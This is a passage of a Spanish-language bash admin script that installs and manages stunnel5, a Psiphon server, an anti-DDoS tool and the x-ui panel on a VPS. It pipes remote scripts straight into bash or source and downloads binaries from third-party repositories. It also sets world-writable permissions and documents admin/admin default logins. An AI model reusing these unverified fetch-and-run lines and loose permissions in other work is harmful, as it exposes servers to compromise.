Cancela este paso" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar +msg -bar +echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados " +msg -bar +read -p " Pega tu Link : " urlm +wget -q -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido" +msg -bar +echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m" +msg -bar +unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir " +[[ $(ls | grep ".key") ]] && cat *.key > /usr/local/etc/stunnel/stunnel.key && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m" +[[ $(ls | grep ".crt") ]] && cat *.crt > /usr/local/etc/stunnel/stunnel.cert && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m" +[[ $(ls | grep ".pem") ]] && cat *.pem > /usr/local/etc/stunnel/stunnel.cert && echo -e "\033[1;42m PEM del Certificado cargada Exitodamente\033[0m" +rm -f *.key *.crt *.pem certificados.zip 1> /dev/null 2> /dev/null && cd $HOME +echo "; It is recommended to drop root privileges if stunnel is started by root +setuid = stunnel +setgid = stunnel + +; PID file is created inside the chroot jail (if enabled) +chroot = /var/lib/stunnel +pid = /stunnel.pid + +; TLS front-end to a web server +; Use the cert and key from certbot +[https] +accept = ${SSLPORT} +connect = ${DPORT} +cert = /usr/local/etc/stunnel/stunnel.cert +key = /usr/local/etc/stunnel/stunnel.key +" > /usr/local/etc/stunnel/stunnel.conf +cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5 +chmod 755 /etc/init.d/stunnel5 +cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service +[[ -e /usr/local/etc/stunnel/stunnel.key && -e /usr/local/etc/stunnel/stunnel.cert ]] || { +echo -e " ERROR AL CREAR CERTIFICADO " +rm -f /etc/systemd/system/stunnel5.service &>/dev/null +rm -rf /usr/local/etc/stunnel/* &>/dev/null +rm -rf /usr/local/share/doc/stunnel &>/dev/null +rm -rf /ADMcgh/stunnel-5.65 &>/dev/null +rm -f /usr/local/etc/stunnel/stunnel.conf &>/dev/null +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m FALLO AL INSTALAR STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION FALLIDA" +msg -bar +return 0 +} +systemctl daemon-reload &>/dev/null +systemctl start stunnel5 &>/dev/null +systemctl enable stunnel5 &>/dev/null +msg -bar +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +*) +return 0 +;; +esac +} + + +painel_upload () { +msg -bar +echo -e "${cor[2]}Desea Instalar Panel De Upload?" +msg -bar +read -p " [ s | n ]: " up_load +msg -bar + [[ "$up_load" = @(s|S|y|Y) ]] && bash /ADMcgh/insta_painel || { + echo -e "${cor[2]}Instalacao Abortada" + msg -bar + } +} + + +function psix(){ +clear +tittle +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m${flech} ${cor[3]}PSIPHON OFICIAL " +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m${flech} ${cor[3]}PSIPHON HTTP CUSTOM ( \033[0;33mNEW\033[0m )" +echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m${flech} ${cor[3]}INICIAR PSIPHON " +echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m${flech} ${cor[3]}DETENER PSIPHON" +echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m${flech} ${cor[3]}DETENER PSIPHON" +msg -bar +echo -e "\033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar #msg -bar +selection=$(selection_fun 5) +case ${selection} in +1) +psiserver +read -p " Enter";; +2) +psiservernew +read -p " Enter";; +3) +psiiniciar +read -p " Enter";; +4) +psidetener +read -p " Enter";; +5) +psireiniciar +read -p " Enter";; +0) +return;; +esac +} + +function psireiniciar(){ +echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m" +echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m" +echo -e "\033[1;33m Continuar?\033[0m" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null +killall psiphond 1> /dev/null 2> /dev/null +cd /root/psi 2> /dev/null +screen -dmS psi ./psiphond run 2> /dev/null +if pgrep psiphond >/dev/null +then +echo "Status: El proceso se ha reiniciado" +else +echo "Status: El servicio est detenido" +fi +fi +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +} + +function psidetener(){ +echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m" +echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m" +echo -e "\033[1;33m Continuar?\033[0m" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null +killall psiphond 1> /dev/null 2> /dev/null +if pgrep psiphond >/dev/null +then +echo "Status: El proceso aun sigue activo" +else +echo "Status: El servicio se ha detenido" +fi +fi +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +} + +function psiiniciar(){ +echo -e "\033[1;33m Se iniciar el servidor de Psiphon Custom\033[0m" +echo -e "\033[1;33m Debes tener Instalador el Servidor\033[0m" +echo -e "\033[1;33m Continuar?\033[0m" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null +killall psiphond 1> /dev/null 2> /dev/null +cd /root/psi 2> /dev/null +screen -dmS psi ./psiphond run 2> /dev/null +if pgrep psiphond >/dev/null +then +echo "Status: El proceso se ha iniciado" +else +echo "Status: El servicio no se ha iniciado. Verifique su configuracin o reinstale el servidor" +fi +fi +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +} + +psiserver(){ + install_psiphone() { + clear && clear + if ps aux | grep 'psiphond' | grep -v grep >/dev/null; then + echo "El proceso psiphond ya está activo." + exit 1 + fi + + msg -bar + msg -tit + msg -bar + msg -ama " INSTALADOR DE SERVR-PSIPHONE" + msg -bar +rm -rf /root/psi +echo -e "\033[1;33m Se instalará el servidor de Psiphon\033[0m" +echo -e "\033[1;33m ESTA OPCION PODRIA NO FUNCIONAR EN CIERTOS VPS\033[0m" +echo -e "\033[1;33m Si ya tenías una instalacion Previa, esta se eliminara\033[0m" +echo -e "\033[1;33m Debes tener instalado previamente GO Lang \033[0m" +echo -e "\033[1;33m BINARIO FUNCIONAL BAJO GOLANG >='1.20.xx' \033[0m" +echo -e "\033[1;33m PUEDES INSTALAR GO-LANG EN EL MENU 7, OPC 15\033[0m" +echo -e "\033[1;33m Continuar?\033[0m" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +rm -rf /root/psi +kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null +killall psiphond 1> /dev/null 2> /dev/null +cd /root +mkdir psi +cd psi +psi=`cat /root/psi.txt`; +ship=$(wget -qO- ipv4.icanhazip.com) +curl -o /root/psi/psiphond https://raw.githubusercontent.com/Psiphon-Labs/psiphon-tunnel-core-binaries/master/psiphond/psiphond 1> /dev/null 2> /dev/null +chmod 777 psiphond + while true; do + echo -e "\033[1;33m PUERTO Psiphon SSH ( NO LOCAL SSH 22 ):\033[0m" + read -p " Listen-P-SSH: " sh + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $sh` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$sh"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +#2 + while true; do + echo -e "\033[1;33m Escribe el puerto para Psiphon OSSH:\033[0m" + read -p " Listen-P-OSSH: " osh + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $osh` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$osh"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +#3 + while true; do + echo -e "\033[1;33m Escribe el puerto para Psiphon FRONTED-MEEK:\033[0m" + read -p " Listen-P-OSSH: " fm + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $fm` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$fm"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +#4 + while true; do + echo -e "\033[1;33m Escribe el puerto para Psiphon UNFRONTED-MEEK:\033[0m" + read -p " Listen UNFRONTED-MEEK: " umo + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $umo` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$umo"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +./psiphond --ipaddress $ship --protocol SSH:$sh --protocol OSSH:$osh --protocol FRONTED-MEEK-OSSH:$fm --protocol UNFRONTED-MEEK-OSSH:$umo generate +chmod 666 psiphond.config +chmod 666 psiphond-traffic-rules.config +chmod 666 psiphond-osl.config +chmod 666 psiphond-tactics.config +chmod 666 server-entry.dat +[[ -e server-entry.dat ]] && { +serverCAT=$(cat server-entry.dat) +cat server-entry.dat > /root/psi/psi.txt +} +screen -dmS psiserver ./psiphond run +cd /root +echo -e "\033[1;33m LA CONFIGURACION DE TU SERVIDOR ES:\033[0m" +msg -bar +echo -e "\033[1;32m ${serverCAT} \033[0m" +msg -bar +echo -e "\033[1;33m PROTOCOLOS HABILITADOS:\033[0m" +echo -e "\033[1;33m ?? SSH:\033[1;32m $sh \033[0m" +echo -e "\033[1;33m ?? OSSH:\033[1;32m $osh \033[0m" +echo -e "\033[1;33m ?? FRONTED-MEEK-OSSH:\033[1;32m $fm \033[0m" +echo -e "\033[1;33m ?? UNFRONTED-MEEK-OSSH:\033[1;32m $umo \033[0m" +msg -bar +echo -e " " +echo -e "\033[1;33m DIRECTORIO DE ARCHIVOS:\033[1;32m /root/psi \033[0m" +msg -bar +[[ "$(ps x | grep psiserver | grep -v grep | awk '{print $1}')" ]] && msg -verd " >> SERVIDOR-PSIPHONE INSTALADO CON EXITO <<" || msg -ama " ERROR VERIFIQUE" +msg -bar +read -t 120 -n 1 -rsp $'\033[1;39m Presiona enter para Continuar\n' +fi +} + + desactivar_psiphone() { + clear && clear + msg -bar + echo -e "\033[1;31m DESISNTALANDO PUERTOS UDP-SERVER " + msg -bar + rm -rf /root/psi + kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1>/dev/null 2>/dev/null + killall psiphond 1>/dev/null 2>/dev/null + [[ "$(ps x | grep psiserver | grep -v grep | awk '{print $1}')" ]] && echo -e "\033[1;32m >> UDP-SERVER DESINSTALADO CON EXICO << " + read -t 60 -n 1 -rsp $'\033[1;39m << Presiona enter para Continuar >>\n' + menu_inst + } + clear && clear + msg -bar + tittle + msg -ama " PSIPHONE-SERVER | @ChumoGH" + msg -bar + if [[ ! -e /bin/psiphond ]]; then + curl -o /bin/psiphond https://raw.githubusercontent.com/Psiphon-Labs/psiphon-tunnel-core-binaries/master/psiphond/psiphond &>/dev/null + chmod 777 /bin/psiphond + fi + echo -ne " \e[1;93m [\e[1;32m1\e[1;93m]\033[1;31m > \e[1;97m INSTALAR SERVER-PSIPHONE \e[97m \n" + echo -ne " \e[1;93m [\e[1;32m2\e[1;93m]\033[1;31m > \033[1;97m DETENER SERVER-PSIPHONE \e[97m \n" + msg -bar + echo -ne " \e[1;93m [\e[1;32m0\e[1;93m]\033[1;31m > \033[1;97m" && msg -bra " \e[97m\033[1;41m VOLVER \033[1;37m" + msg -bar + echo -ne "\033[1;97m OPCION:\e[32m " + read opcao + case $opcao in + 1) + msg -bar + install_psiphone + ;; + 2) + msg -bar + desactivar_psiphone + ;; + *) + echo -e "$ SOLO OPCION ENTRE [0-2]" + msg -bar + ;; + esac + +} + + +function psiservernew(){ +clear&&clear +msg -bar +msg -ama " BINARIO OFICIAL DE Epro Dev Team" +msg -bar +echo -e "\033[1;33m SE RECOMIENDA : HTTP-OSSH 80 y OSSH 443\033[0m" +echo -e "\033[1;33m HABILITAREMOS SERVIDOR PSIPHON SERVER CUSTOM MOD\033[0m" +echo -e "\033[1;33m SI TIENES UNA CONFIG PREVIA, SE SOBREESCRIBIRA CON ESTA\033[0m" +echo -e "\033[1;33m SE RECOMIENDA VERIFICAR EL PANNEL DE PUERTOS \033[0m" +echo -e "\033[1;33m Y CHECAR LOS PUERTOS QUE VALLAS A UTILIZAR\033[0m" +msg -bar +echo -e "\033[1;33m ACEPTAS CONTINUAR?\033[0m" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +kill $(ps aux | grep 'psiphond' | awk '{print $2}') 1> /dev/null 2> /dev/null +killall psiphond 1> /dev/null 2> /dev/null +rm -rf /root/psi 2>/dev/null +rm /root/psi.txt 2>/dev/null +rm /var/www/html/psi.txt 2>/dev/null +cd /root +mkdir psi +cd psi +wget 'https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/binarios/Psiphond-Epro/psiphond' -O '/root/psi/psiphond' 2> /dev/null +cd /root/psi +chmod 775 /root/psi/psiphond +#1 + while true; do + echo -e "\033[1;33m Escribe el puerto para FRONTED-MEEK-HTTP-OSSH:\033[0m" + read -p " Listen-P-OSSH: " httposh + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $httposh` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$httposh"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +#FIN 1 +#2 + while true; do + echo -e "\033[1;33m Escribe el puerto para FRONTED-MEEK-OSSH:\033[0m" + read -p " Listen-P-OSSH: " osh + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $osh` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$osh"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +#FIN 2 + +cd /root/psi +[[ -e /root/psi/server-entry.dat ]] && { +echo -e " CONFIGURACION BASE REUTILIZADA !!!" +} || { +/root/psi/psiphond --ipaddress 0.0.0.0 --protocol FRONTED-MEEK-HTTP-OSSH:$httposh --protocol FRONTED-MEEK-OSSH:$osh generate + [[ -e /root/psi/psiphond.config ]] && { + _ruta='/root/psi/' + psi1='psiphond-tactics.config' + psi2='psiphond-traffic-rules.config' + psi3='psiphond-osl.config' + #psi4='psiphond-traffic-rules.config' + sed -i "s%${psi1}%${_ruta}${psi1}%g" /root/psi/psiphond.config + sed -i "s%${psi2}%${_ruta}${psi2}%g" /root/psi/psiphond.config + sed -i "s%${psi3}%${_ruta}${psi3}%g" /root/psi/psiphond.config + #sed -i "s%${psi4}%${_ruta}${psi4}%g" /root/psi/psiphond.config + } + +} +cat /root/psi/server-entry.dat >> /root/psi.txt + msg -bar + msg -azu "... ACIVANDO PSISERVER _..." +if screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run ; then + #------------------------- + [[ $(grep -wc "psiserver" /bin/autoboot) = '0' ]] && { + echo -e "netstat -tlpn | grep -w $httposh > /dev/null || { screen -r -S 'psiserver' -X quit; screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run; }" >>/bin/autoboot + } || { + sed -i '/psiserver/d' /bin/autoboot + echo -e "netstat -tlpn | grep -w $httposh > /dev/null || { screen -r -S 'psiserver' -X quit; screen -dmS psiserver /root/psi/psiphond -config /root/psi/psiphond.config run; }" >>/bin/autoboot + } + crontab -l > /root/cron +#echo "@reboot /bin/autoboot" >> /root/cron + crontab /root/cron + service cron restart + rm -f /root/cron +#------------------------- + msg -verd " Con Exito!!!" + msg -bar + else + msg -verm " Con Fallo!!!" + msg -bar + fi +cd /root + +#portFTP=$(lsof -V -i tcp -P -n | grep apache2 | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | cut -d: -f2 | cut -d' ' -f1 | uniq) +#_pFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2 | cut -d " " -f1 | uniq)" +psi=`cat /root/psi.txt` +echo -e "\033[1;33m SERVER CONFIG:\033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e "\033[1;32m $psi \033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e "\033[1;33m PROTOCOLOS:\033[0m" +echo -e "\033[1;33m FRONTED-MEEK-OSSH:\033[1;32m $httposh \033[0m" +echo -e "\033[1;33m OSSH:\033[1;32m $osh \033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e " " +echo -e "\033[1;33m DIRECTORIO DE ARCHIVOS:\033[1;32m /root/psi \033[0m" +[[ -z $portFTP ]] && echo -e "SERVICIO FTP NO ACTIVO " || { +IP="$(cat < /bin/ejecutar/IPcgh)" +cp /root/psi.txt /var/www/html/psi.txt +echo -e "\033[1;33m RUTA PUBLICA DE CONFIG GENERADA:\033[1;32m http://$IP:${portFTP}/psi.txt \033[0m" +} +fi +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSI DESEAS REINICIAR ESTE SERVICIO " + echo -e " SE RECOMIENDA SOLO IR AL MENU PRINCIPAL" + echo -e " MENU 7, OPCION 1, SUBOBCION 1" + echo -e " REINICIARAS TODOS LOS SERVICIOS SIN REINICIAR." + echo -e " TU SERVIDOR VPS\033[0m" +msg -bar +} + + +antiddos (){ +if [ -d '/usr/local/ddos' ]; then + if [ -e '/usr/local/sbin/ddos' ]; then + rm -f /usr/local/sbin/ddos + fi + if [ -d '/usr/local/ddos' ]; then + rm -rf /usr/local/ddos + fi + if [ -e '/etc/cron.d/ddos.cron' ]; then + rm -f /etc/cron.d/ddos.cron + fi + sleep 1s + msg -bar + echo -e "\033[1;31m ANTIDDOS DESINSTALADO CON EXITO\033[1;37m" + msg -bar + return 1 +else + mkdir /usr/local/ddos +fi +wget -q -O /usr/local/ddos/ddos.conf https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/ADM-MANAGER-MOD/master/DDOS/ddos.conf -o /dev/null +wget -q -O /usr/local/ddos/LICENSE http://www.inetbase.com/scripts/ddos/LICENSE -o /dev/null +wget -q -O /usr/local/ddos/ignore.ip.list http://www.inetbase.com/scripts/ddos/ignore.ip.list -o /dev/null +wget -q -O /usr/local/ddos/ddos.sh http://www.inetbase.com/scripts/ddos/ddos.sh -o /dev/null +chmod 0755 /usr/local/ddos/ddos.sh +cp -s /usr/local/ddos/ddos.sh /usr/local/sbin/ddos +/usr/local/ddos/ddos.sh --cron > /dev/null 2>&1 +sleep 2s +msg -bar +echo -e "\033[1;32m ANTIDDOS INSTALADO CON EXITO.\033[1;37m" +msg -bar +} + +v2ui() { +cd $HOME +fun_ip(){ +red='\033[0;31m' +green='\033[0;32m' +yellow='\033[0;33m' +plain='\033[0m' +last_version=$(curl -Ls "https://api.github.com/repos/vaxilu/x-ui/releases/latest" | grep 'V' | sed -E 's/.*"([^"]+)".*/\1/') +MIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MIP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MIP" != "$MIP2" ]] && IP="$MIP2" || IP="$MIP" +} +kill -9 $(ps x|grep -v grep|grep "xray-linu"|awk '{print $1}') +kill -9 $(ps x|grep -v grep|grep "x-ui"|awk '{print $1}') +bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh) +fun_ip +autogen() { +x-ui start > /dev/null 2>&1 +x-ui enable > /dev/null 2>&1 +[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui +[[ -d /etc/x-ui ]] && cd /etc/x-ui +openssl genrsa -out key.key 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"; echo ""; echo "$(cat < /bin/ejecutar/IPcgh):81"; echo ""; echo ""; echo ""; echo "@ChumoGH")|openssl req -new -x509 -key /etc/x-ui/cert.key -out /etc/x-ui/cert.crt -days 1095 > /dev/null 2>&1 +cd $HOME +fun_bar +echo -e "CERTIFICADO GENERADO" +} +creargen(){ +x-ui start +x-ui enable +[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui > /dev/null 2>&1 +[[ -d /etc/x-ui ]] && cd /etc/x-ui > /dev/null 2>&1 +openssl genrsa 2048 > key.key +openssl req -new -key key.key -x509 -days 1000 -out cert.crt +#[[ -e /etc/x-ui/key.key ]] && cp /etc/x-ui/key.key /etc/x-ui/cert.key +#[[ -e /etc/x-ui/cert.crt ]] && cp /etc/x-ui/cert.crt /etc/x-ui/cert.crt +fun_bar +echo -e "CERTIFICADO GENERADO" +} +certdom () { +[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui +[[ -d /etc/x-ui ]] && cd /etc/x-ui +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh) +[[ -e /data/cert.crt && -e /data/cert.key ]] && { +cat /data/cert.key > /etc/x-ui/cert.key +cat /data/cert.crt > /etc/x-ui/cert.crt +echo -e "CERTIFICADO GENERADO" +} || { +echo -e " ERROR AL CREAR CERTIFICADO " +} + +certweb () { +[[ -e /etc/x-ui/cert.key && -e /etc/x-ui/cert.crt ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25 +msg -bar +echo -e "Descarga el fichero URL del Certificado SSL " +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online" + echo -e " Si Aun no lo has hecho, Cancela este paso" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar +msg -bar +echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados " +msg -bar +read -p " Pega tu Link : " urlm +wget -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido" +msg -bar +echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m" +msg -bar +unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir " +[[ -e private.key ]] && cat private.key > /etc/x-ui/cert.key && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m" +[[ -e certificate.crt && -e ca_bundle.crt ]] && cat certificate.crt ca_bundle.crt > /etc/x-ui/cert.crt && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m" +rm -f private.key certificate.crt ca_bundle.crt certificados.zip 1> /dev/null 2> /dev/null && cd $HOME +} +} + +act_gen () { +v2ray-cgh="/etc/x-ui" > /dev/null 2>&1 +while [[ ${varread} != @([0-5]) ]]; do +echo -e "\033[1;33mv2-ui v${last_version}${plain} La instalación está completa y el panel se ha activado??" +systemctl daemon-reload +systemctl enable x-ui +systemctl start x-ui +echo -e "" +echo -e " Si se trata de una nueva instalación \n El puerto web predeterminado es ${green}54321${plain}，\n El nombre de usuario y la contraseña son ambos predeterminados ${green}admin${plain}" +echo -e " Asegúrese de que este puerto no esté ocupado por otros programas，\n${yellow}Asegúrate 65432 El puerto ha sido liberado${plain}" +echo -e " Si desea modificar 65432 a otro puerto, \n ingrese el comando x-ui para modificarlo, \n y también asegúrese de que el puerto que modifica también esté permitido" +echo -e "" +echo -e "Si es un panel de actualización, acceda al panel como lo hizo antes, \n A continuacion crearemos su Certificado SSL" +echo -e "" +msg -bar +echo -e " WELCOME TO V2RAY-UI, MOD ChumoGH-ADM \n \033[1;36mREAD THE INSTRUCTIONS CAREFULLY BEFORE CONTINUING....." +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Crear Su Certificado SSL \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m Cargar Certificado WEB \033[0;33m(#EXPERIMENTAL)" +echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#EXPERIMENTAL)" +msg -bar +echo -e " \033[0;35m[\033[0;36m0\033[0;35m] \033[0;34m<\033[0;33m Regresar" +msg -bar +echo -ne "${cor[6]}" +read -p " Opcion : " varread +done +msg -bar +if [[ ${varread} = 0 ]]; then +return 0 +elif [[ ${varread} = 1 ]]; then +autogen +elif [[ ${varread} = 2 ]]; then +creargen +elif [[ ${varread} = 3 ]]; then +certweb +elif [[ ${varread} = 4 ]]; then +certdom +fi +} +act_gen +clear&&clear +msg -bar +echo -e "\033[1;36m 1). -PRIMER PASO -" +msg -bar +echo -e "\n Desde Cualquier Navegador WEB | \nAccede con \033[1;32m http://$IP:54321 \033[1;31m " +msg -bar +echo -e "\033[1;32m 2). -SEGUNDO PASO -" +msg -bar +echo -e "\nUSUARIO \033[1;32m admin\033[1;33m PASSWD \033[1;31m admin\033[1;31m " +msg -bar +echo -e "\033[1;32m 3). -TERCER PASO -" +msg -bar +echo -e "\033[1;34mEn \033[1;32maccounts\033[1;31m añade en \033[1;32m+\033[1;31m y fijate " +msg -bar +echo -e "\033[1;32m 4). -CUARTO PASO -" +msg -bar +echo -e "\033[1;31mAsegurate de Activar el \033[1;31mTLS" +msg -bar +echo -e "\033[1;32m 5). -QUINTO PASO -" +msg -bar +echo -e "\033[1;31m Escoje tu Protocolo ADECUADO, \n Y en DOMAIN tu dominio" +msg -bar +echo -e "\033[1;32m 6). -SEXTO PASO -" +msg -bar +echo -e "\033[1;31m En cert file path : \033[1;33m/etc/x-ui/cert.crt " +echo -e "\033[1;31m En key file path : \033[1;33m/etc/x-ui/cert.key " +msg -bar +echo -e "\033[1;32m 7). -SEPTIMO PASO -" +msg -bar +echo -e "\033[1;32m💥 ASEGURATE DE MODIFICAR EL USUARIO Y PUERTO DE ACCESO 💥" +msg -bar +echo -e "\033[1;32m 8). -Añade mas Perfiles, Si deseas!! -" +msg -bar +echo -e "\033[1;32m 9). -DISFRUTA TU CONFGURACION SI TODO ES CORRECTO -" +msg -bar +echo -e "\033[1;32m 9). - Si deseas acceder al PANNEL teclea \033[1;35mx-ui \033[1;32men consola -" +msg -bar +echo -e " MANUAL EN EL PORTAL https://seakfind.github.io/2021/10/10/X-UI/ " +msg -bar 